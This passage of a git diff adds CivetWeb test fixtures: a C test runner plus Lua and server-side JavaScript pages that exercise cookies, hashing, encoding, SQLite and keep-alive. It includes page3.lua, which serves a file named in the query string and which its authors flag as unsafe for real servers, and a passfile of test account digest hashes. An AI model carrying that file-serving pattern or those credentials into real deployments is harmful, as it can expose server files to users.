./lua_preload_file.lua +to the civetweb.conf file +]] + +mg.preload = "lua_preload_file successfully loaded" diff --git a/src/civetweb/test/main.c b/src/civetweb/test/main.c new file mode 100644 index 000000000..b6f8796a4 --- /dev/null +++ b/src/civetweb/test/main.c @@ -0,0 +1,103 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "civetweb_check.h" +#include "shared.h" +#include "public_func.h" +#include "public_server.h" +#include "private.h" +#include "timertest.h" +#include "private_exe.h" + +#include +#include +#include + +/* This unit test file uses the excellent Check unit testing library. + * The API documentation is available here: + * http://check.sourceforge.net/doc/check_html/index.html + */ + +int +main(const int argc, char *argv[]) +{ + // Determine what tests to run + const char *suite = NULL; + const char *const suite_arg = "--suite="; + const size_t suite_arg_size = strlen(suite_arg); + const char *test_case = NULL; + const char *const test_case_arg = "--test-case="; + const size_t test_case_arg_size = strlen(test_case_arg); + const char *const test_dir_arg = "--test-dir="; + const size_t test_dir_arg_size = strlen(test_dir_arg); + + SRunner *srunner; + int number_run = 0; + int number_failed = 0; + + int i; + + for (i = 1; i < argc; ++i) { + if (0 == strncmp(suite_arg, argv[i], suite_arg_size) + && (strlen(argv[i]) > suite_arg_size)) { + suite = &argv[i][suite_arg_size]; + } else if (0 == strncmp(test_case_arg, argv[i], test_case_arg_size) + && (strlen(argv[i]) > test_case_arg_size)) { + test_case = &argv[i][test_case_arg_size]; + } else if (0 == strncmp(test_dir_arg, argv[i], test_dir_arg_size) + && (strlen(argv[i]) > test_dir_arg_size)) { + set_test_directory(&argv[i][test_dir_arg_size]); + } else if (0 == strcmp("--help", argv[i])) { + printf( + "Usage: %s [options]\n" + " --suite=Suite Determines the suite to run\n" + " --test-case='Test Case' Determines the test case to run\n" + " --test-dir='folder/path' The location of the test directory " + "with the \n" + " 'fixtures' and 'expected\n", + argv[0]); + exit(EXIT_SUCCESS); + } else { + fprintf(stderr, "Invalid argument: %s\n", argv[i]); + exit(EXIT_FAILURE); + } + } + + /* Run up the tests */ + srunner = srunner_create(make_public_func_suite()); + srunner_add_suite(srunner, make_public_server_suite()); + srunner_add_suite(srunner, make_private_suite()); + srunner_add_suite(srunner, make_private_exe_suite()); + srunner_add_suite(srunner, make_timertest_suite()); + + /* Write test logs to a file */ + srunner_set_log(srunner, "test.log"); + srunner_set_xml(srunner, "test.xml"); + + /* CK_NORMAL offers not enough diagnosis during setup phase*/ + srunner_run(srunner, suite, test_case, CK_VERBOSE); + + number_run = srunner_ntests_run(srunner); + number_failed = srunner_ntests_failed(srunner); + srunner_free(srunner); + return (number_failed == 0) && (number_run != 0) ? EXIT_SUCCESS + : EXIT_FAILURE; +} diff --git a/src/civetweb/test/page.lp b/src/civetweb/test/page.lp new file mode 100644 index 000000000..3e012e26b --- /dev/null +++ b/src/civetweb/test/page.lp @@ -0,0 +1,71 @@ +HTTP/1.0 200 OK +Content-Type: text/html + + + + +

This is another example of a Lua server page, served by +CivetWeb web server. +

+The following features are available: +

    +" .. _VERSION .. " server pages") + if sqlite3 then + mg.write("
  • sqlite3 binding
  • ") + end + if lfs then + mg.write("
  • lua file system
  • ") + end +?> +

+

Today is

+

URI is

+

URI is

+ +

Database example: +

+
+

+ + diff --git a/src/civetweb/test/page.lua b/src/civetweb/test/page.lua new file mode 100644 index 000000000..2b5600ac1 --- /dev/null +++ b/src/civetweb/test/page.lua @@ -0,0 +1,71 @@ +mg.write("HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n") + +mg.write([[ + +

This is another example of a Lua script, creating a web page served by the +CivetWeb web server. +

+The following features are available: +

    +]]) + + mg.write("
  • " .. _VERSION .. " server pages
  • ") + if sqlite3 then + mg.write("
  • sqlite3 binding
  • ") + end + if lfs then + mg.write("
  • lua file system
  • ") + end + + +mg.write("

\r\n") +mg.write("

Today is " .. os.date("%A") .. "

\r\n") +mg.write("

URI is " .. mg.request_info.uri .. "

\r\n") + +mg.write("

Database example:\r\n

\r\n")
+
+  -- Open database
+  local db = sqlite3.open('requests.db')
+  -- Note that the data base is located in the current working directory
+  -- of the process if no other path is given here.
+
+  -- Setup a trace callback, to show SQL statements we'll be executing.
+  -- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
+
+  -- Create a table if it is not created already
+  db:exec([[
+    CREATE TABLE IF NOT EXISTS requests (
+      id INTEGER PRIMARY KEY AUTOINCREMENT,
+      timestamp NOT NULL,
+      method NOT NULL,
+      uri NOT NULL,
+      addr
+    );
+  ]])
+
+  -- Add entry about this request
+  local stmt = db:prepare(
+    'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
+  stmt:bind_values(mg.request_info.request_method,
+                   mg.request_info.uri,
+                   mg.request_info.remote_port)
+  stmt:step()
+  stmt:finalize()
+
+  -- Show all previous records
+  mg.write('Previous requests:\n')
+  stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
+  while stmt:step() == sqlite3.ROW do
+    local v = stmt:get_values()
+    mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
+          .. v[4] .. ' ' .. v[5] .. '\n')
+  end
+
+  -- Close database
+  db:close()
+
+mg.write([[
+
+

+ +]]) diff --git a/src/civetweb/test/page.ssjs b/src/civetweb/test/page.ssjs new file mode 100644 index 000000000..d4465a618 --- /dev/null +++ b/src/civetweb/test/page.ssjs @@ -0,0 +1,19 @@ +print = conn.write || print + +// send a header +print('HTTP/1.0 200 OK\r\n'); +print('Content-Type: text/html\r\n'); +print('\r\n'); + +print("\n"); +print("

This example page is generated by the "); +print('CivetWeb web server'); +print(" with server side javascript.

\n"); + +var d = new Date(); +var n = d.toString(); + +print("

Server time: " + n + "

\n"); + +print("\n"); + diff --git a/src/civetweb/test/page2.lp b/src/civetweb/test/page2.lp new file mode 100644 index 000000000..c98b94022 --- /dev/null +++ b/src/civetweb/test/page2.lp @@ -0,0 +1,72 @@ + + + + + +

This is another example of a Lua server page, served by +CivetWeb web server. +

+The following features are available: +

    +" .. name .. "\n") + end + end + + function recurse(tab) + mg.write("
      \n") + for k,v in pairs(tab) do + if type(v) == "table" then + mg.write("
    • " .. tostring(k) .. ":
    • \n") + recurse(v) + else + mg.write("
    • " .. tostring(k) .. " = " .. tostring(v) .. "
    • \n") + end + end + mg.write("
    \n") + end +?> +" .. _VERSION .. " with the following standard libraries\n") + mg.write("
      ") + libs = {"string", "math", "table", "io", "os", "bit32", "utf8", "package", "coroutine", "debug"}; + for _,n in ipairs(libs) do + print_if_available(_G[n], n); + end + mg.write("
    \n") + print_if_available(sqlite3, "sqlite3 binding") + print_if_available(lfs,"lua file system") + + -- Print mg library + libname = "mg" + print_if_available(_G[libname], libname .. " library") + recurse(_G[libname]) + + -- Print connect function + print_if_available(connect, "connect function") + +?> +

+

Today is + +

+\n") + for f in lfs.dir(".") do + mg.write("

  • " .. f .. "
  • \n") + local at = lfs.attributes(f); + recurse(at) + end + mg.write("\n") + end +?> +

    + diff --git a/src/civetweb/test/page2.lua b/src/civetweb/test/page2.lua new file mode 100644 index 000000000..9c4a5b776 --- /dev/null +++ b/src/civetweb/test/page2.lua @@ -0,0 +1,91 @@ +mg.write("HTTP/1.0 200 OK\r\n") +mg.write("Content-Type: text/html\r\n") +mg.write("\r\n") +mg.write([[ + +

    This is another example of a Lua server page, served by +CivetWeb web server. +

    +The following features are available: +

      +]]) + +function print_if_available(tab, name) + if tab then + mg.write("
    • " .. name .. "
    • \n") + end +end + +function recurse(tab, excl) + excl = excl or {} + mg.write("
        \n") + for k,v in pairs(tab) do + if type(v) == "table" then + mg.write("
      • " .. tostring(k) .. ":
      • \n") + if excl[v] then + -- cyclic + else + excl[v] = true + recurse(v, excl) + excl[v] = false + end + else + mg.write("
      • " .. tostring(k) .. " = " .. tostring(v) .. "
      • \n") + end + end + mg.write("
      \n") +end + +-- Print Lua version and available libraries +mg.write("
    • " .. _VERSION .. " with the following standard libraries
    • \n") +mg.write("
        \n") +libs = {"string", "math", "table", "io", "os", "bit32", "utf8", "package", "coroutine", "debug"}; +for _,n in ipairs(libs) do + print_if_available(_G[n], n); +end +mg.write("
      \n") +print_if_available(sqlite3, "sqlite3 binding") +print_if_available(lfs, "lua file system") + +--recurse(_G) + +-- Print mg library +libname = "mg" +print_if_available(_G[libname], libname .. " library") +recurse(_G[libname]) + +-- Print connect function +print_if_available(connect, "connect function") + +-- Get all server options +mg.write("
    • server options
    • \n") +recurse(mg.get_option()) + +mg.write("

    \n"); +mg.write("

    Today is " .. os.date("%A") .. "

    \n"); + +l = mg.request_info.content_length +if l then + mg.write("

    Content-Length = "..l..":
    \n

    \n")
    +  mg.write(mg.read())
    +  mg.write("\n
    \n

    \n") +end + +mg.write("

    \n"); + + if lfs then + mg.write("Files in " .. lfs.currentdir()) + mg.write("\n

      \n") + for f in lfs.dir(".") do + local mime = mg.get_mime_type(f) + mg.write("
    • " .. f .. " (" .. mime .. ")
    • \n") + local at = lfs.attributes(f); + recurse(at) + end + mg.write("
    \n") +end + +mg.write([[ +

    + +]]) diff --git a/src/civetweb/test/page2.ssjs b/src/civetweb/test/page2.ssjs new file mode 100644 index 000000000..66e0c83a8 --- /dev/null +++ b/src/civetweb/test/page2.ssjs @@ -0,0 +1,30 @@ +conn.write("HTTP/1.0 200 OK\r\n") +conn.write("Content-Type: text/html\r\n") +conn.write("\r\n") +conn.write("\r\n") +conn.write("

    This is an example of a server side JavaScript, served by the ") +conn.write('CivetWeb web server.') +conn.write("

    \r\n") + + +function print_elements(title, obj) +{ + conn.write("

    \r\n"); + conn.write("" + title + "
    \r\n"); + elms = Object.getOwnPropertyNames(obj) + + for (var i = 0; i < elms.length; i++) { + conn.write(JSON.stringify(elms[i]) + ":
    \r\n") + conn.write("Type: " + typeof(obj[elms[i]]) + "
    \r\n") + conn.write(JSON.stringify(Object.getOwnPropertyDescriptor(obj, elms[i])) + "
    \r\n") + conn.write("
    \r\n") + } + conn.write('

    \r\n') +} + + +print_elements("conn", conn) +print_elements("civetweb", civetweb) + + +conn.write('\r\n') diff --git a/src/civetweb/test/page3.lp b/src/civetweb/test/page3.lp new file mode 100644 index 000000000..8d18b74d6 --- /dev/null +++ b/src/civetweb/test/page3.lp @@ -0,0 +1,20 @@ +HTTP/1.0 200 OK +Content-Type: text/html + + + + +

    This is a test page of mg.include in a Lua server page, served by the +CivetWeb web server. +

    + +

    + +

    + + diff --git a/src/civetweb/test/page3.lua b/src/civetweb/test/page3.lua new file mode 100644 index 000000000..fec68990d --- /dev/null +++ b/src/civetweb/test/page3.lua @@ -0,0 +1,34 @@ +-- This test checks if a query string has been given. +-- It sends the file identified by the query string. +-- Do not use it in a real server in this way! + +if not mg.request_info.query_string then + mg.write("HTTP/1.0 200 OK\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("Civetweb Lua script test page 3\r\n") + mg.write("No query string!\r\n") +elseif mg.request_info.query_string:match("/") or mg.request_info.query_string:match("\\") then + mg.write("HTTP/1.0 403 Forbidden\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("Civetweb Lua script test page 3\r\n") + mg.write("No access!\r\n") +else + file = mg.get_var(mg.request_info.query_string, "file"); + if not file then + mg.write("HTTP/1.0 400 Bad Request\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("\r\nCivetweb Lua script test page 3\r\n") + mg.write("\r\nQuery string does not contain a 'file' variable.
    \r\n") + mg.write("Try ?file=page3.lua&somevar=something\r\n") + mg.write("\r\n\r\n") + else + filename = mg.document_root .. "/" .. file + mg.send_file(filename) + end +end diff --git a/src/civetweb/test/page3.ssjs b/src/civetweb/test/page3.ssjs new file mode 100644 index 000000000..71e55e34e --- /dev/null +++ b/src/civetweb/test/page3.ssjs @@ -0,0 +1,61 @@ +print = conn.write || print + +opts = [ +"cgi_pattern", +"cgi_environment", +"put_delete_auth_file", +"cgi_interpreter", +"protect_uri", +"authentication_domain", +"ssi_pattern", +"throttle", +"access_log_file", +"enable_directory_listing", +"error_log_file", +"global_auth_file", +"index_files", +"enable_keep_alive", +"access_control_list", +"extra_mime_types", +"listening_ports", +"document_root", +"ssl_certificate", +"num_threads", +"run_as_user", +"url_rewrite_patterns", +"hide_files_patterns", +"request_timeout_ms", +"websocket_timeout_ms", +"decode_url", +"lua_preload_file", +"lua_script_pattern", +"lua_server_page_pattern", +"_experimental_duktape_script_pattern", +"websocket_root", +"lua_websocket_pattern", +"access_control_allow_origin", +"error_pages", +"_unknown__option" +] + +// send a header +print('HTTP/1.0 200 OK\r\n'); +print('Content-Type: text/html\r\n'); +print('\r\n'); + +print("\n"); +print("

    This example page is generated by the "); +print('CivetWeb web server'); +print(" with server side javascript.

    \n"); + +for (var i=0; i < opts.length; i++) { + var o = opts[i]; + var n = civetweb.getoption(o); + if (typeof(n) == "string") { + print("

    Option " + o + " = " + n + "

    \n"); + } else { + print("

    Option " + o + " not known

    \n"); + } +} + +print("\n"); diff --git a/src/civetweb/test/page3a.lp b/src/civetweb/test/page3a.lp new file mode 100644 index 000000000..1595aa542 --- /dev/null +++ b/src/civetweb/test/page3a.lp @@ -0,0 +1,20 @@ +HTTP/1.0 200 OK +Content-Type: text/html + + + + +

    This is a test page of mg.include in a Lua server page, served by the +CivetWeb web server. +

    + +

    + +

    + + diff --git a/src/civetweb/test/page3r.lp b/src/civetweb/test/page3r.lp new file mode 100644 index 000000000..e849cfc72 --- /dev/null +++ b/src/civetweb/test/page3r.lp @@ -0,0 +1,20 @@ +HTTP/1.0 200 OK +Content-Type: text/html + + + + +

    This is a test page of mg.include in a Lua server page, served by the +CivetWeb web server. +

    + +

    + +

    + + diff --git a/src/civetweb/test/page3v.lp b/src/civetweb/test/page3v.lp new file mode 100644 index 000000000..5f81126e4 --- /dev/null +++ b/src/civetweb/test/page3v.lp @@ -0,0 +1,20 @@ +HTTP/1.0 200 OK +Content-Type: text/html + + + + +

    This is a test page of mg.include in a Lua server page, served by the +CivetWeb web server. +

    + +

    + +

    + + diff --git a/src/civetweb/test/page4.lua b/src/civetweb/test/page4.lua new file mode 100644 index 000000000..e2b84d7ca --- /dev/null +++ b/src/civetweb/test/page4.lua @@ -0,0 +1,180 @@ +-- This test checks the Lua functions: +-- get_var, get_cookie, md5, url_encode + +now = os.time() +cookie_name = "civetweb-test-page4" + +if mg.request_info.http_headers.Cookie then + cookie_value = tonumber(mg.get_cookie(mg.request_info.http_headers.Cookie, cookie_name)) +end + +mg.write("HTTP/1.0 200 OK\r\n") +mg.write("Connection: close\r\n") +mg.write("Content-Type: text/html; charset=utf-8\r\n") +mg.write("Cache-Control: max-age=0, must-revalidate\r\n") +if not cookie_value then + mg.write("Set-Cookie: " .. cookie_name .. "=" .. tostring(now) .. "\r\n") +end +mg.write("\r\n") + +mg.write("\r\nCivetweb Lua script test page 4\r\n\r\n") +mg.write("

    Test of Civetweb Lua Functions:

    \r\n"); +mg.write("
    \r\n");
    +
    +-- get_var of query_string
    +mg.write("get_var test (check query string):\r\n")
    +if not mg.request_info.query_string then
    +    mg.write("  No query string. You may try this example.\r\n")
    +else
    +    for _,var in ipairs({'a','b','c','d'}) do
    +       value = mg.get_var(mg.request_info.query_string, var);
    +       if value then
    +         mg.write("  Variable " .. var .. ": value " .. value .. "\r\n");
    +       else
    +         mg.write("  Variable " .. var .. " not set\r\n");
    +       end
    +    end
    +end
    +mg.write("\r\n")
    +
    +-- md5
    +mg.write("MD5 test:\r\n")
    +test_string = "abcd\0efgh"
    +mg.write("  String with embedded 0, length " .. string.len(test_string))
    +test_md5 = mg.md5(test_string)
    +mg.write(", MD5 " .. test_md5 .. "\r\n")
    +if mg.md5("") == "d41d8cd98f00b204e9800998ecf8427e" then
    +    mg.write("  MD5 of empty string OK\r\n")
    +else
    +    mg.write("  Error: MD5 of empty string NOT OK\r\n")
    +end
    +if mg.md5("The quick brown fox jumps over the lazy dog.") == "e4d909c290d0fb1ca068ffaddf22cbd0" then
    +    mg.write("  MD5 of test string OK\r\n")
    +else
    +    mg.write("  Error: MD5 of test string NOT OK\r\n")
    +end
    +mg.write("\r\n")
    +
    +-- get_cookie
    +mg.write("Cookie test:\r\n")
    +if not cookie_value then
    +    mg.write("  Cookie not set yet. Please reload the page.\r\n")
    +else
    +    mg.write("  Cookie set to " .. cookie_value .. "\r\n")
    +    mg.write("  You visited this page " .. os.difftime(now, cookie_value) .. " seconds before.\r\n")
    +end
    +mg.write("\r\n")
    +
    +-- test 'require' of other Lua scripts
    +mg.write("require test\r\n")
    +script_path = mg.script_name:match("(.*)page%d*.lua")
    +if type(script_path)=='string' then
    +    package.path = script_path .. "?.lua;" .. package.path
    +    mg.write("  Lua search path: " .. package.path .. "\r\n")
    +    require "html_esc"
    +    require "require_test"
    +    if htmlEscape then
    +      for i=0,15 do
    +        mg.write("  ")
    +        for j=0,15 do
    +            mg.write(tostring(htmlEscape[16*i+j]))
    +        end
    +        mg.write("\r\n")
    +      end
    +    else
    +      mg.write("  'require' test failed (htmlEscape)\r\n")
    +    end
    +    if HugeText then
    +      mg.write("\r\n")
    +      local ht = HugeText(os.date("%a %b. %d"))
    +      for i=1,#ht do
    +        mg.write("  " .. ht[i] .. "\r\n")
    +      end
    +    else
    +      mg.write("  'require' test failed (HugeText)\r\n")
    +    end
    +else
    +    mg.write("  name match failed\r\n")
    +end
    +mg.write("\r\n")
    +
    +-- test get_response_code_text
    +mg.write("HTTP helper methods test:\r\n")
    +if (htmlEscape("") == "<a b & c d>") then
    +    mg.write("  htmlEscape test OK\r\n")
    +else
    +    mg.write("  Error: htmlEscape test NOT OK\r\n")
    +end
    +if (mg.get_response_code_text(200) == "OK") then
    +    mg.write("  get_response_code_text test OK\r\n")
    +else
    +    mg.write("  Error: get_response_code_text test NOT OK\r\n")
    +end
    +mg.write("\r\n")
    +
    +-- url_encode
    +mg.write("URL encode/decode test:\r\n")
    +if mg.url_encode("") == "" then
    +    mg.write("  url_encode of empty string OK\r\n")
    +else
    +    mg.write("  Error: url_encode of empty string NOT OK\r\n")
    +end
    +raw_string = [[ !"#$%&'()*+,-./0123456789:;<=>?@]]
    +mg.write("  original string: " .. htmlEscape(raw_string) .. "\r\n")
    +mg_string = mg.url_encode(raw_string):upper()
    +ref_string = "%20!%22%23%24%25%26'()*%2B%2C-.%2F0123456789%3A%3B%3C%3D%3E%3F%40" -- from http://www.w3schools.com/tags/ref_urlencode.asp
    +mg.write("  mg-url:        " .. htmlEscape(mg_string) .. "\r\n")
    +mg.write("  reference url: " .. htmlEscape(ref_string) .. "\r\n")
    +dec_mg_string = mg.url_decode(mg_string)
    +dec_ref_string = mg.url_decode(ref_string)
    +mg.write("  decoded mg-url:        " .. htmlEscape(dec_mg_string) .. "\r\n")
    +mg.write("  decoded reference url: " .. htmlEscape(dec_ref_string) .. "\r\n")
    +dec_mg_string = mg.url_decode(mg_string, false)
    +dec_ref_string = mg.url_decode(ref_string, false)
    +mg.write("  decoded mg-url:        " .. htmlEscape(dec_mg_string) .. "\r\n")
    +mg.write("  decoded reference url: " .. htmlEscape(dec_ref_string) .. "\r\n")
    +dec_mg_string = mg.url_decode(mg_string, true)
    +dec_ref_string = mg.url_decode(ref_string, true)
    +mg.write("  decoded mg-url:        " .. htmlEscape(dec_mg_string) .. "\r\n")
    +mg.write("  decoded reference url: " .. htmlEscape(dec_ref_string) .. "\r\n")
    +mg.write("\r\n")
    +
    +-- base64_encode
    +mg.write("BASE64 encode/decode test:\r\n")
    +raw_string = [[ !"#$%&'()*+,-./0123456789:;<=>?@]]
    +mg.write("  original string:  " .. htmlEscape(raw_string) .. "\r\n")
    +mg_string = mg.base64_encode(raw_string)
    +ref_string = "ICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9A" -- from http://www.base64encode.org/
    +mg.write("  mg-base64:        " .. htmlEscape(mg_string) .. "\r\n")
    +mg.write("  reference base64: " .. htmlEscape(ref_string) .. "\r\n")
    +dec_mg_string = mg.base64_decode(mg_string)
    +dec_ref_string = mg.base64_decode(ref_string)
    +mg.write("  decoded mg-base64:        " .. htmlEscape(dec_mg_string) .. "\r\n")
    +mg.write("  decoded reference base64: " .. htmlEscape(dec_ref_string) .. "\r\n")
    +mg.write("\r\n")
    +raw_string = [[ -?-]]
    +mg.write("  original string:  " .. htmlEscape(raw_string) .. "\r\n")
    +mg_string = mg.base64_encode(raw_string)
    +ref_string = "PD8+IC0/LQ==" -- from http://www.base64encode.org/
    +mg.write("  mg-base64:        " .. htmlEscape(mg_string) .. "\r\n")
    +mg.write("  reference base64: " .. htmlEscape(ref_string) .. "\r\n")
    +dec_mg_string = mg.base64_decode(mg_string)
    +dec_ref_string = mg.base64_decode(ref_string)
    +mg.write("  decoded mg-base64:        " .. htmlEscape(dec_mg_string) .. "\r\n")
    +mg.write("  decoded reference base64: " .. htmlEscape(dec_ref_string) .. "\r\n")
    +mg.write("\r\n")
    +
    +-- random
    +mg.write("Random numbers:\r\n")
    +for i=1,10 do mg.write(string.format("%18u\r\n", mg.random())) end
    +mg.write("\r\n")
    +
    +-- uuid
    +if mg.uuid then
    +mg.write("UUIDs:\r\n")
    +for i=1,10 do mg.write(string.format("%40s\r\n", mg.uuid())) end
    +mg.write("\r\n")
    +end
    +
    +-- end of page
    +mg.write("
    \r\n\r\n\r\n") diff --git a/src/civetweb/test/page5.lua b/src/civetweb/test/page5.lua new file mode 100644 index 000000000..dcf7f9f55 --- /dev/null +++ b/src/civetweb/test/page5.lua @@ -0,0 +1,8 @@ +mg.write("HTTP/1.0 200 OK\r\n") +mg.write("Content-Type: text/html\r\n") +mg.write("\r\n") +mg.write([[

    +Hello world! +

    + +]]) diff --git a/src/civetweb/test/page6.lua b/src/civetweb/test/page6.lua new file mode 100644 index 000000000..dc3043970 --- /dev/null +++ b/src/civetweb/test/page6.lua @@ -0,0 +1,16 @@ +mg.write("HTTP/1.0 200 OK\r\n") +mg.write("Content-Type: text/plain\r\n") +mg.write("\r\n") +mg.write(mg.request_info.request_method .. " " .. mg.request_info.request_uri .. " HTTP/" .. mg.request_info.http_version .. "\r\n") +for k,v in pairs(mg.request_info.http_headers) do + mg.write(k .. ": " .. v .. "\r\n") +end +mg.write("\r\n") + +repeat + local r = mg.read() + if (r) then + mg.write(r) + end +until not r + diff --git a/src/civetweb/test/page_keep_alive.lua b/src/civetweb/test/page_keep_alive.lua new file mode 100644 index 000000000..d869ce46f --- /dev/null +++ b/src/civetweb/test/page_keep_alive.lua @@ -0,0 +1,34 @@ +-- Set keep_alive. The return value specifies if this is possible at all. +canKeepAlive = mg.keep_alive(true) + +if canKeepAlive then + -- Create the entire response in a string variable first. Content-Length will be set to the length of this string. + reply = [[ + +

    This is a Lua script supporting html keep-alive with the + CivetWeb web server. +

    +

    It works by setting the Content-Length header field properly. + + ]] +else + reply = "Keep alive not possible!" +end + +-- First send the http headers +mg.write("HTTP/1.1 200 OK\r\n") +mg.write("Content-Type: text/html\r\n") +mg.write("Date: " .. os.date("!%a, %d %b %Y %H:%M:%S") .. " GMT\r\n") +mg.write("Cache-Control: no-cache\r\n") + +if canKeepAlive then + mg.write("Content-Length: " .. tostring(string.len(reply)) .. "\r\n") + mg.write("Connection: keep-alive\r\n") +else + mg.write("Connection: close\r\n") +end +mg.write("\r\n") + +-- Finally send the content +mg.write(reply) + diff --git a/src/civetweb/test/page_keep_alive_chunked.lua b/src/civetweb/test/page_keep_alive_chunked.lua new file mode 100644 index 000000000..28ac7d129 --- /dev/null +++ b/src/civetweb/test/page_keep_alive_chunked.lua @@ -0,0 +1,66 @@ +-- Set keep_alive. The return value specifies if this is possible at all. +canKeepAlive = mg.keep_alive(true) +now = os.date("!%a, %d %b %Y %H:%M:%S") + +-- First send the http headers +mg.write("HTTP/1.1 200 OK\r\n") +mg.write("Content-Type: text/html\r\n") +mg.write("Date: " .. now .. " GMT\r\n") +mg.write("Cache-Control: no-cache\r\n") +mg.write("Last-Modified: " .. now .. " GMT\r\n") +if not canKeepAlive then + mg.write("Connection: close\r\n") + mg.write("\r\n") + mg.write("Keep alive not possible!") + return +end +if mg.request_info.http_version ~= "1.1" then + -- wget will use HTTP/1.0 and Connection: keep-alive, so chunked transfer is not possible + mg.write("Connection: close\r\n") + mg.write("\r\n") + mg.write("Chunked transfer is only possible for HTTP/1.1 requests!") + mg.keep_alive(false) + return +end + +-- use chunked encoding (http://www.jmarshall.com/easy/http/#http1.1c2) +mg.write("Cache-Control: max-age=0, must-revalidate\r\n") +--mg.write("Cache-Control: no-cache\r\n") +--mg.write("Cache-Control: no-store\r\n") +mg.write("Connection: keep-alive\r\n") +mg.write("Transfer-Encoding: chunked\r\n") +mg.write("\r\n") + +-- function to send a chunk +function send(str) + local len = string.len(str) + mg.write(string.format("%x\r\n", len)) + mg.write(str.."\r\n") +end + +-- send the chunks +send("") +send("Civetweb Lua script chunked transfer test page") +send("\n") + +fileCnt = 0 +if lfs then + send("Files in " .. lfs.currentdir()) + send('\n\n') + send('\n') + for f in lfs.dir(".") do + local at = lfs.attributes(f); + if at then + send('\n') + end + fileCnt = fileCnt + 1 + end + send("
    nametypesize
    ' .. f .. '' .. at.mode .. '' .. at.size .. '
    \n") +end + +send(fileCnt .. " entries (" .. now .. " GMT)\n") +send("") +send("") + +-- end +send("") diff --git a/src/civetweb/test/page_status.lua b/src/civetweb/test/page_status.lua new file mode 100644 index 000000000..3c9b0eb74 --- /dev/null +++ b/src/civetweb/test/page_status.lua @@ -0,0 +1,38 @@ +mg.write("HTTP/1.0 200 OK\r\n") + +-- MIME type: https://www.ietf.org/rfc/rfc4627.txt, chapter 6 +mg.write("Content-Type: application/json\r\n") + +mg.write("\r\n") + +num_threads = mg.get_option("num_threads") +num_threads = tonumber(num_threads) + + +function n(s) + if ((type(s) == "string") and (#s > 0)) then + return s + else + return "null" + end +end + + +mg.write("{\r\n\"system\" :\r\n") + +mg.write(n(mg.get_info("system"))) + +mg.write(",\r\n\"summary\" :\r\n") +mg.write(n(mg.get_info("context"))) +mg.write(",\r\n\"common\" :\r\n") +mg.write(n(mg.get_info("common"))) +mg.write(",\r\n\"connections\" :\r\n[\r\n") + + mg.write(n(mg.get_info("connection", 1))) + +for i=2,num_threads do + mg.write(",\r\n") + mg.write(n(mg.get_info("connection", i))) +end +mg.write("]\r\n}\r\n") + diff --git a/src/civetweb/test/passfile b/src/civetweb/test/passfile new file mode 100644 index 000000000..58c313a7d --- /dev/null +++ b/src/civetweb/test/passfile @@ -0,0 +1,3 @@ +guest:mydomain.com:485264dcc977a1925370b89d516a1477 +Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983 + diff --git a/src/civetweb/test/prime.ssjs b/src/civetweb/test/prime.ssjs new file mode 100644 index 000000000..6dc3243a7 --- /dev/null +++ b/src/civetweb/test/prime.ssjs @@ -0,0 +1,36 @@ +// prime.js + +// Pure Ecmascript version of low level helper +function primeCheckEcmascript(val, limit) { + for (var i = 2; i <= limit; i++) { + if ((val % i) == 0) { return false; } + } + return true; +} + +// Select available helper at load time +var primeCheckHelper = (this.primeCheckNative || primeCheckEcmascript); + +// Check 'val' for primality +function primeCheck(val) { + if (val == 1 || val == 2) { return true; } + var limit = Math.ceil(Math.sqrt(val)); + while (limit * limit < val) { limit += 1; } + return primeCheckHelper(val, limit); +} + +function primeTest() { + var res = []; + + print('Have native helper: ' + (primeCheckHelper !== primeCheckEcmascript) + '\n'); + for (var i = 2; i <= 1000; i++) { + if (primeCheck(i)) { res.push(i); } + } + print(res.join(' ')); +} + +print = this.send || conn.write + +print('HTTP/1.0 200 OK\r\nContent-Type: text/plain\r\n\r\n'); + +primeTest(); diff --git a/src/civetweb/test/private.c b/src/civetweb/test/private.c new file mode 100644 index 000000000..9b34f5950 --- /dev/null +++ b/src/civetweb/test/private.c @@ -0,0 +1,1018 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE 